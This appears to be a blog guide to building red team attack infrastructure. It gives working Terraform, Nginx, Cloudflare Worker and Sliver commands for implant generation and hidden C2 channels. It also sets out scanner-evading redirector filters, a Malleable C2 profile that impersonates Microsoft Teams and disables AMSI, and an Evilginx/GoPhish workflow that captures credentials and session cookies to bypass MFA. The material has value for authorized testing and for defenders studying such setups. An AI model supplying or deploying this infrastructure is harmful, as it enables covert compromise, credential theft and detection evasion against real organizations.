Red Team Infrastructure: The Full Picture — From Domain to Beacon
Red Team Infrastructure:
The Full Picture
A step-by-step, production-grade guide covering every layer of modern red team infrastructure —
from domain selection and Terraform automation to C2 frameworks, CDN relays, phishing servers,
Malleable profiles, and full OPSEC hardening. No fluff. Just architecture and tradecraft.
Your payload is perfect. Your exploit is clean. But your beacon calls back to a raw VPS IP with a self-signed certificate and it gets blocked in 30 seconds. Infrastructure is what separates a red team from a script kiddie. Without proper infrastructure, you have no operation.
A mature red team infrastructure has one goal: get your C2 traffic from the target to your team server, undetected, for as long as the engagement lasts. This means the team server is never exposed to the internet, traffic passes through multiple layers of filtering and redirection, and every domain, certificate, and header is carefully chosen to blend in with legitimate traffic. If one component is burned, the rest of the infrastructure survives.
Architecture — The Full Picture
Every component serves a specific role. The diagram below shows the complete traffic flow from a compromised host all the way to your team server, through multiple layers of indirection.
┌──────────────────────────────────────────────────────────────────────┐
│ INTERNET │
└──────────────────────────────────────────────────────────────────────┘
│ C2 Traffic │ Phishing Traffic
┌───────▼───────────┐ ┌────────▼──────────────┐
│ CDN Relay │ │ Evilginx / GoPhish │
│ (Azure / CF / GCP) │ │ (AitM Proxy) │
└───────┬───────────┘ └────────┬──────────────┘
│ │
┌───────▼───────────┐ ┌────────▼──────────────┐
│ HTTPS Redirector │ │ SMTP Mail Server │
│ (Nginx / Apache) │ │ (Postfix / iRedMail) │
│ 4 Filter Layers │ │ SPF / DKIM / DMARC │
└───────┬───────────┘ └───────────────────────┘
│
┌───────▼───────────────────────────────────────────────────┐
│ INTERNAL VPN / PRIVATE NETWORK │
│ ┌─────────────┐ ┌──────────────┐ ┌──────────────────┐ │
│ │ Team Server │ │ Dev Box │ │ Attack Server │ │
│ │ (CS/Havoc/ │ │ (Windows) │ │ (Linux) │ │
│ │ Sliver) │ └──────────────┘ └──────────────────┘ │
│ └─────────────┘ │
└───────────────────────────────────────────────────────────┘
Each layer adds protection. If a defender finds the CDN endpoint, they still cannot reach the team server. If the redirector gets burned, spin up a new one and re-point the CDN — the team server stays untouched throughout.
Infrastructure Segmentation
Never run everything on one server. Separate your infrastructure by function and temporal scope. Discovery of one component should never compromise the rest.
| Stage | Purpose | Lifespan | Example Infrastructure |
|---|---|---|---|
| Stage 0 | Phishing & Initial Access | Hours – Days | GoPhish, Evilginx, Payload Hosting |
| Stage 1 | Persistence & Long-Haul C2 | Weeks – Months | HTTPS/DNS Beacons, Long-Haul C2 |
| Stage 2 | Interactive Operations | Minutes – Hours | SOCKS Proxies, Lateral Movement |
| Stage 3 | Data Exfiltration | Hours – Days | Data Staging, Covert Exfil Channels |
Domain Selection & Preparation
Before a single server is provisioned, you need domains. This is where most operators fail — they buy a domain the day of the engagement and wonder why it gets blocked. A well-chosen, aged, and properly categorized domain is a critical operational asset.
Domain Aging
Newly registered domains (NRDs) are flagged by Next-Generation Firewalls (NGFWs) and threat intelligence feeds. You need domains aged at least 6 months. Two strategies:
Age It Yourself
Buy the domain months before the engagement. Deploy a simple, legitimate-looking website (a health blog, a finance tips page). Let it build reputation organically over time.
Buy Expired Domains
Use expireddomains.net to find domains previously used for legitimate purposes. Verify they are not blacklisted using mxtoolbox.com/blacklists before purchasing.
Domain Categorization
Security products categorize websites by content type. Your domain must be in a trusted category. Health and Finance are ideal: they carry positive reputation, and under GDPR/HIPAA, SSL traffic to these domains is often exempt from deep packet inspection.
Deploy a Benign Website
Spin up a VPS (Hetzner CX11 is ideal — cheap, fast, European IP). Deploy a simple WordPress or static site with content matching your target category.
Submit for Categorization
Submit to: sitereview.bluecoat.com, trustedsource.org, zvelo.com. Wait 48–72 hours for propagation.
Verify Across Vendors
Use virustotal.com and mxtoolbox.com to confirm the domain is clean across all major vendors: McAfee, Fortiguard, Palo Alto, Checkpoint, Sophos.
# Find expired domains categorized as Healthcare, check 500 results python domainhunter.py -r 500 -c Healthcare # Verify DNS propagation after configuring A and CNAME records dig yourdomain.com A dig TXT yourdomain.com # Check blacklist status across all major threat intel feeds # https://mxtoolbox.com/blacklists.aspx
DNS Configuration
| Record | Name | Value | Purpose |
|---|---|---|---|
A | @ | Redirector IP | Root domain resolves to redirector |
CNAME | www | @ | www alias |
MX | @ | Mail server IP | Email delivery (phishing ops) |
TXT | @ | SPF record | Email authentication |
Infrastructure Deployment with Terraform
Manual server setup is slow, error-prone, and unrepeatable. Terraform automates everything — servers, networks, security groups, DNS — in minutes. Use Hetzner, DigitalOcean, Vultr, or Linode (Akamai) as your VPS providers. Avoid using a single provider for all components.
Infrastructure Components
| Server | Role | Provider | Exposure |
|---|---|---|---|
| Team Server | C2 framework backend | Hetzner (private) | No public IP |
| Redirector | Nginx reverse proxy | Vultr (public) | 443, 80 only |
| Phishing Server | GoPhish + Evilginx + Mail | DigitalOcean | Isolated VPC |
| Attack Server | Linux tooling, enumeration | Linode | VPN only |
| Windows Dev Box | Payload development, AV testing | Hetzner (private) | No public IP |
Terraform Example (Hetzner + Vultr)
terraform { required_providers { hcloud = { source = "hetznercloud/hcloud", version = "~> 1.45" } vultr = { source = "vultr/vultr", version = "~> 2.19" } } } provider "hcloud" { token = var.hetzner_token } provider "vultr" { api_key = var.vultr_api_key } # Private network — team server never touches the public internet resource "hcloud_network" "c2_net" { name = "c2-internal" ip_range = "10.0.0.0/24" } # Team Server — NO public IP resource "hcloud_server" "team_server" { name = "team-server" image = "ubuntu-22.04" server_type = "cx21" location = "nbg1" ssh_keys = [var.ssh_key_id] network { network_id = hcloud_network.c2_net.id ip = "10.0.0.10" } } # Redirector on Vultr — public-facing only resource "vultr_instance" "redirector" { plan = "vc2-1c-1gb" region = "fra" os_id = 1743 label = "redirector" ssh_key_ids = [var.vultr_ssh_key] }
Command & Control (C2) Framework
The C2 framework is the heart of your operation. It generates implants, manages listeners, and provides the operator interface. The most critical factor in choosing a framework is malleability — the ability to customize every component to evade detection.
Choosing a C2 Framework
| Framework | License | Language | Key Strength | Detection Risk |
|---|---|---|---|---|
| Cobalt Strike | Commercial | Java | Most mature, Malleable C2, BOFs | High (most targeted) |
| Havoc | Open Source | C/C++ | CS-compatible BOFs, modern evasion | Medium (growing) |
| Sliver | Open Source | Go | Multi-protocol (mTLS, WireGuard, DNS) | Low–Medium |
| Mythic | Open Source | Go/Python | Plugin architecture, multi-agent | Low (highly customizable) |
Listener Types
HTTPS Listener (Egress)
The primary egress channel. Traffic is shaped with Malleable C2 profiles to mimic legitimate applications. Goes through the CDN → Redirector → Team Server chain.
DNS Listener (Covert Egress)
Tunnels C2 traffic over DNS queries. Extremely slow but nearly impossible to block without breaking DNS resolution. Ideal for highly restricted environments.
SMB / TCP Listener (Peer-to-Peer)
Used for lateral movement within the target network. A P2P beacon on an internal host forwards its traffic through an egress beacon that has internet access.
External C2 (exC2)
Uses legitimate third-party services (Slack, Teams, GitHub Gists) as a C2 channel. Traffic goes to trusted, high-reputation domains — extremely difficult to block.
# Install Sliver on your team server (Hetzner, internal only) curl https://sliver.sh/install | sudo bash # Start the Sliver server sliver-server # Generate an HTTPS implant pointing to your CDN/redirector sliver > generate --http https://your-cdn-domain.com \ --os windows --arch amd64 \ --format exe --save /tmp/implant.exe # Generate a DNS implant for restricted environments sliver > generate --dns c2.yourdomain.com \ --os windows --format shellcode \ --save /tmp/dns_implant.bin # Start listeners sliver > https --lhost 0.0.0.0 --lport 443 sliver > dns --domains c2.yourdomain.com
The HTTPS Redirector
The redirector is the gatekeeper. It sits between the internet and the team server, deciding what traffic gets through. Legitimate C2 traffic is proxied to the team server; everything else is silently sent to a decoy. Nginx is the recommended choice for its performance, simplicity, and upstream failover capabilities.
Step-by-Step Nginx Redirector Setup
Install Nginx and Certbot on your Vultr VPS
sudo apt update && sudo apt install -y nginx certbot python3-certbot-nginx # Disable the default site sudo rm /etc/nginx/sites-enabled/default # Obtain a TLS certificate sudo certbot certonly --nginx -d yourdomain.com --non-interactive \ --agree-tos --email ops@yourdomain.com # Hide Nginx version (misleads incident responders) echo 'server_tokens off;' | sudo tee -a /etc/nginx/nginx.conf
Create the Redirector Virtual Host
Create /etc/nginx/sites-available/redirector.conf
# Upstream: C2 team server (internal IP, never exposed) upstream c2_backend { server 10.0.0.10:443; server 10.0.0.11:443 backup; } # HTTP → HTTPS redirect server { listen 80; server_name yourdomain.com; return 301 https://$host$request_uri; } server { listen 443 ssl http2; server_name yourdomain.com; ssl_certificate /etc/letsencrypt/live/yourdomain.com/fullchain.pem; ssl_certificate_key /etc/letsencrypt/live/yourdomain.com/privkey.pem; ssl_protocols TLSv1.2 TLSv1.3; # Spoof server header to look like IIS more_set_headers "Server: Microsoft-IIS/10.0"; set $proxy_target http://decoy_backend; if ($http_x_c2_token = 'YOUR_SECRET_TOKEN_HERE') { set $proxy_target https://c2_backend; } location / { proxy_pass $proxy_target; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_ssl_verify off; } }
TLS Certificate OPSEC
| Certificate Type | Provider | OPSEC Rating | Notes |
|---|---|---|---|
| Let's Encrypt | ISRG | Low | Free, automated. All certs in public CT logs. |
| Cloudflare Origin Cert | Cloudflare | Medium | Only valid behind Cloudflare proxy. |
| Azure CDN Managed | Microsoft | High | Microsoft-issued, auto-renewed, minimal CT exposure. |
| Cloudflare CDN Managed | Cloudflare | High | Traffic appears from CF IP space. |
Fortifying the Redirector — 4 Filter Layers
An unprotected redirector will be found and scanned within hours. We add four independent layers of defense. Traffic must pass all four to reach the team server. Failure at any layer results in a silent redirect to a decoy — no error, no indication of filtering.
403 Forbidden to blocked requests. A 403 tells the scanner they were detected. A 302 Found to microsoft.com tells them nothing.
Layer 1 — User-Agent Filtering
if ($http_user_agent ~* (curl|wget|nmap|nikto|wpscan|sqlmap|masscan|zgrab| Go-http-client|python-requests|java|perl|ruby| Googlebot|bingbot|Slurp|DuckDuckBot|Baiduspider| netcraft|shodan|censys|nuclei|dirbuster)) { return 302 https://www.microsoft.com/en-us/; }
Layer 2 — Custom HTTP Header Validation
# ── Cobalt Strike Malleable C2 Profile ────────────────────── http-get { client { header "X-C2-Token" "a1b2c3d4e5f6_your_secret"; } } # ── Nginx Configuration ────────────────────────────────────── set $c2_auth "deny"; if ($http_x_c2_token = "a1b2c3d4e5f6_your_secret") { set $c2_auth "allow"; } if ($c2_auth = "deny") { return 302 https://www.microsoft.com/en-us/; }
Layer 3 — URI Path Validation
if ($request_uri !~* "^/(api/v2/status|api/v2/submit|config/get|user/prefs)$") { return 302 https://www.google.com; } # Enforce correct HTTP method per URI if ($request_uri = '/api/v2/status') { if ($request_method != 'GET') { return 302 https://www.google.com; } }
Layer 4 — IP Address Blocklist
# /etc/nginx/ip_blocklist.conf deny 66.249.64.0/19; # Google crawlers deny 157.55.39.0/24; # Bing crawlers deny 198.41.128.0/17; # Cloudflare security # ... hundreds more from curi0usJack's list # Include in your server block: include /etc/nginx/ip_blocklist.conf;
CDN Relays — Hiding in Plain Sight
CDN relays are the most powerful evasion technique in red team infrastructure. By routing your beacon traffic through the networks of major cloud providers, your C2 traffic appears to originate from trusted Microsoft or Cloudflare IP ranges — which are almost never blocked.
Azure CDN — Step by Step
Create a CDN Profile
Azure Portal → Create a resource → CDN → Select "Azure CDN Standard from Microsoft (Classic)"
Create an Endpoint
Endpoint name: your-c2-relay → gives you your-c2-relay.azureedge.net. Set Origin Hostname to your redirector domain.
Disable Caching
Rules Engine → Add rule: Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Update Your C2 Listener
Set the listener host to your-c2-relay.azureedge.net. Traffic flow: Beacon → azureedge.net → Redirector → Team Server.
Cloudflare — Step by Step
Add Domain to Cloudflare
Point your domain's nameservers to Cloudflare. Free and takes 5 minutes.
Enable Proxy Mode
In DNS settings, set the A record to Proxied (orange cloud). All traffic now routes through Cloudflare's IP space.
Configure Page Rules
Create a Page Rule for your C2 URI paths: Cache Level → Bypass.
Enable Zero Trust Tunnel (Optional)
Use cloudflared to create a tunnel from your team server to Cloudflare. Your team server will have zero open ports.
| CDN | Domain | Cost | Best For | OPSEC |
|---|---|---|---|---|
| Azure CDN | azureedge.net | ~$1–2/day | MS-heavy environments | Excellent |
| Cloudflare | Your domain (CF IPs) | Free | General use, WAF, DDoS | Excellent |
| GCP Cloud CDN | Custom domain | Pay-per-use | GCP-heavy environments | Good |
Serverless Redirection — Cloudflare Workers
Cloudflare Workers run on Cloudflare's global edge network, physically close to the user. We use them as an intelligent, pre-authentication filter that inspects every incoming request before it ever reaches your infrastructure.
const C2_TOKEN = 'a1b2c3d4e5f6_your_secret'; const TUNNEL_HOST = 'your-tunnel-id.cfargotunnel.com'; const FALLBACK = 'https://www.microsoft.com/en-us/'; addEventListener('fetch', event => { event.respondWith(handleRequest(event.request)); }); async function handleRequest(request) { const token = request.headers.get('X-C2-Token'); if (token !== C2_TOKEN) { return Response.redirect(FALLBACK, 302); } const url = new URL(request.url); url.hostname = TUNNEL_HOST; try { return await fetch(new Request(url, { method: request.method, headers: request.headers, body: request.body })); } catch (e) { return Response.redirect(FALLBACK, 302); } }
Microsoft Dev Tunnels
Microsoft Dev Tunnels route traffic through *.devtunnels.ms — a Microsoft-owned domain that is highly trusted and almost never blocked by corporate firewalls. Setup takes under 5 minutes and requires no domain or certificate.
# Install the Dev Tunnels CLI curl -sL https://aka.ms/DevTunnelCliInstall | bash # Login with a Microsoft account devtunnel user login # Create a tunnel with anonymous access enabled devtunnel create -a # Create a port forwarding rule for your C2 listener devtunnel port create -p 443 --protocol https # Start hosting the tunnel devtunnel host # Output: https://<random-id>.devtunnels.ms ← use this as your C2 host
Phishing Infrastructure
Phishing remains the most effective initial access vector. A successful phishing operation requires a dedicated, hardened infrastructure: a properly configured mail server, a campaign management tool, and an Adversary-in-the-Middle (AitM) proxy to defeat MFA.
Mail Server Setup — iRedMail on Hetzner
Provision a Dedicated VPS
Use a separate Hetzner or DigitalOcean VPS. Never mix phishing and C2 infrastructure. Set the reverse DNS (PTR record) of the VPS IP to match your mail domain.
Install iRedMail
# Set hostname before installation
hostnamectl set-hostname mail.yourdomain.com
wget https://github.com/iredmail/iRedMail/archive/refs/tags/1.6.8.tar.gz
tar -xzf 1.6.8.tar.gz && cd iRedMail-1.6.8
bash iRedMail.sh
# SPF — authorize your mail server yourdomain.com. TXT "v=spf1 mx a ip4:YOUR_MAIL_SERVER_IP -all" # DKIM — cryptographic signature dkim._domainkey.yourdomain.com. TXT "v=DKIM1; k=rsa; p=<YOUR_PUBLIC_KEY>" # DMARC — policy for failed SPF/DKIM checks _dmarc.yourdomain.com. TXT "v=DMARC1; p=quarantine; rua=mailto:dmarc@yourdomain.com" # MX — mail exchanger yourdomain.com. MX 10 mail.yourdomain.com.
GoPhish + Evilginx — MFA Bypass Workflow
Deploy Evilginx on a Dedicated VPS
Use a separate Vultr or DigitalOcean VPS. Place it behind Cloudflare for IP obfuscation.
Configure a Phishlet
A phishlet defines how Evilginx proxies a specific login portal. Configure one for your target (e.g., Microsoft 365, Google Workspace).
Create a Lure URL
Evilginx generates a unique phishing URL. Use this URL in your GoPhish email template as the call-to-action link.
Capture the Session
When the victim authenticates, Evilginx captures both credentials and the authenticated session cookie — bypassing MFA entirely.
git clone https://github.com/kgretzky/evilginx2.git cd evilginx2 && make # Run Evilginx (needs ports 80/443/53) sudo ./evilginx -p ./phishlets # In the Evilginx console: config domain yourdomain.com config ipv4 YOUR_VPS_IP phishlets hostname o365 login.yourdomain.com phishlets enable o365 lures create o365 lures get-url 0 # → https://login.yourdomain.com/AbCdEfGh ← use in GoPhish sessions # Monitor for captured credentials and cookies
Malleable C2 Profiles & Traffic Shaping
Your C2 traffic is the digital heartbeat of your operation. A well-crafted Malleable C2 profile makes your beacon traffic indistinguishable from legitimate application traffic. Default profiles are the most fingerprinted artifacts in existence — never use them in production.
## Global options set sleeptime "45000"; # 45s base sleep set jitter "30"; # ±30% jitter → 31–59s actual sleep set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"; https-certificate { set CN "teams.microsoft.com"; set O "Microsoft Corporation"; set C "US"; } http-get { set uri "/api/v2/users/me/presence"; client { header "Accept" "application/json"; header "Origin" "https://teams.microsoft.com"; header "X-C2-Token" "a1b2c3d4e5f6_your_secret"; metadata { base64url; prepend "token="; parameter "auth"; } } server { header "Content-Type" "application/json"; header "Cache-Control" "no-store, no-cache"; output { base64url; prepend '{"availability":"Available","data":"'; append '"}'; print; } } } post-ex { set spawnto_x64 "%windir%\\system32\\svchost.exe"; set spawnto_x86 "%windir%\\syswow64\\svchost.exe"; set obfuscate "true"; set smartinject "true"; set amsi_disable "true"; }
Operational Security (OPSEC)
OPSEC is not a checklist — it is a mindset. A single failure can burn your entire infrastructure, expose your tools, and end the engagement prematurely.
How Blue Teams Hunt Your Infrastructure
| Technique | What They Find | Your Countermeasure |
|---|---|---|
| JARM Fingerprinting | Default C2 TLS stack signatures | Use redirectors/CDNs to mask team server TLS. Customize cipher suites. |
| Certificate Transparency | New certs for suspicious domains | Use CDN-managed certs (Azure, Cloudflare). Avoid LE certs for C2 domains. |
| Passive DNS | Historical IP-to-domain mappings | Never point your domain directly to the team server. Use redirectors from day one. |
| Shodan / Censys | Open ports, default banners | Team server has no public IP. Redirector returns IIS banner. All ports filtered. |
| Behavioral Analysis | Predictable beacon timing | High sleep time (45–60s) with 20–30% jitter. Malleable profiles to mimic real apps. |
Burn Recovery Playbook
Isolate the Compromise
Identify which component was burned. Check your redirector logs for the source of the discovery.
Tear Down and Rebuild
Use terraform destroy -target=module.redirector to tear down only the burned component. Rebuild with a new IP and domain in minutes.
Re-point the CDN
Update your CDN origin to point to the new redirector domain. Your team server and all active beacons remain untouched and operational.
Post-Mortem Analysis
Analyze how you were detected. Was it a technical failure (default profile, exposed IP) or a human error (leaked domain)? Update your OPSEC procedures.
2. Pointing your domain directly to the team server even once — passive DNS records it forever.
3. Using
sleep 0 in production — generates excessive traffic and creates a detectable pattern.4. Reusing infrastructure across engagements — burned infrastructure from a previous op can compromise a new one.
5. Committing Terraform state files to public Git repositories — exposes all your IP addresses and resource IDs.
Tools Reference
C2 Frameworks
Infrastructure & Redirectors
Phishing & Domain Management
References
- White Knight Labs — Advanced Red Team Operations Course (ARTO)
- Steve Borosh (@424f424f) — Red Team Infrastructure Wiki, GitHub
- curi0usJack — Apache mod_rewrite Redirect Rules, GitHub Gist
- Tylous — SourcePoint: Malleable C2 Profile Generator, GitHub
- Cloudflare — Zero Trust Tunnels Documentation
- Microsoft — Dev Tunnels Documentation
- CGomezSec — Sliver C2 with Cloudflare Workers & Tunnels
- Ghostwriter — Infrastructure Management Platform
- Unit 42 (Palo Alto) — Cobalt Strike Malleable C2 Profile Analysis
- MITRE ATT&CK — T1071.004 (DNS C2), T1090 (Proxy), T1568 (Dynamic Resolution)
Comments
Post a Comment